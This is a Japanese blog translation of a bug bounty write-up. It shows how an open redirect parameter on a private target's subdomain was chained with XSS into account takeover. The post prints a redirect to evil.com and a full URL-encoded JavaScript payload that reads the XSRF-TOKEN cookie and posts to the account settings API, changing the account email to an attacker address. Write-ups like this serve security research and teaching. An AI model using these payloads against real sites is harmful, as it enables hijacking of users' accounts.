Shikata Ga Nai

Private? There is no such things.

Chaining Open Redirect with XSS to Account Takeoverを訳してみた

Hello there, ('ω')ノ

 

XSS を使用したアカウント乗っ取りへのオープン リダイレクトの連鎖を。

 

脆弱性:

 XSS

 アカウント乗っ取り

 オープンリダイレクト

 

記事:

 https://rdnzx.medium.com/chaining-open-redirect-with-xss-to-account-takeover-36acf218a6d5

 

今回は、XSS をアカウント乗っ取りにエスカレーションする方法を。

ターゲットはプライベートなので、target.com として呼び。


オープンリダイレクト

target のテストを開始し、アカウントを登録し。

登録中に、ownsubdomain.target.com のような組織用の独自の

サブドメインを作成でき。

次に、ダッシュボードにログインし。

その後すぐに、次のような URL エンドポイントを見つけて。

https://ownsubdomain.target.com/overview/?ccpa_redirect=


URLエンドポイント

次に、この https://ownsubdomain.target.com/overview/?ccpa_redirect=https://evil.com

のようにリダイレクトを開こうとしましたが、成功し。

evil.com ページにリダイレクトされ。

 

次に、この XSS ペイロード javascript:alert(1); を使用して。

ブラウザで開くと、XSS がポップアップ表示され。

 



XSS をアカウント乗っ取りに連鎖

その後、この XSS をより深刻な影響にアップグレードすることを考えて。

すぐに、次のようなメールアドレスを変更できるフォームを見つけ。


フォーム変更メール

 

しかし、CSRF-TOKEN による保護はあり。

そのとき、XSS を連鎖させて深刻な影響を与えることについての

記事を読んだことを思い出し。

そこで、電子メールを変更するためのペイロードを作成し、

XSS 脆弱性による CSRF-TOKEN 保護をバイパスして。

ペイロードは次のようになり。

    javascript:var%20http=new%20XMLHttpRequest();%20http.open(%27POST%27,%27https://ownsubdomain.target.com/api/3/settings/account%27,%20true);var%20csrf=%20document.cookie.split(%27;%20%27).find(row%20=%253e%20row.startsWith(%27XSRF-TOKEN%27)).split(%27=%27)[1];http.setRequestHeader(%27X-Xsrf-Token%27,csrf);http.withCredentials=true;http.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);http.send(%27firstName=Hacked%2526lastName=byHacker%2526loginEmail=attacker@mail.com%26phoneNumber=%2526notificationEmail=attacker@mail.com%2526signature=%2526timezone=Asia/Jakarta%2526language=english%27);alert('email%20changed');

 

したがって、この URL にアクセスしたとき

 

https://ownsubdomain.target.com/overview/?ccpa_redirect=javascript:var%20http=new%20XMLHttpRequest();%20http.open(%27POST%27,%27https://subdomain.target.com/api/3/settings/account%27,%20true);var%20csrf=%20document.cookie.split(%27;%20%27).find(row%20=%253e%20row.startsWith(%27XSRF-TOKEN%27)).split(%27=%27)[1];http.setRequestHeader(%27X-Xsrf-Token%27,csrf);http.withCredentials=true;http.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);http.send(%27firstName=Hacked%2526lastName=byHacker%2526loginEmail=attacker@mail.com%26phoneNumber=%2526notificationEmail=attacker@mail.com%2526signature=%2526timezone=Asia/Jakarta%2526language=english%27);alert('email%20changed'); 

 

ブラウザではアラートがポップアップ表示され、電子メールが変更されて。

 

アラートがポップアップ表示

 

メールアドレスが正常に変更

 

Best regards, (^^ゞ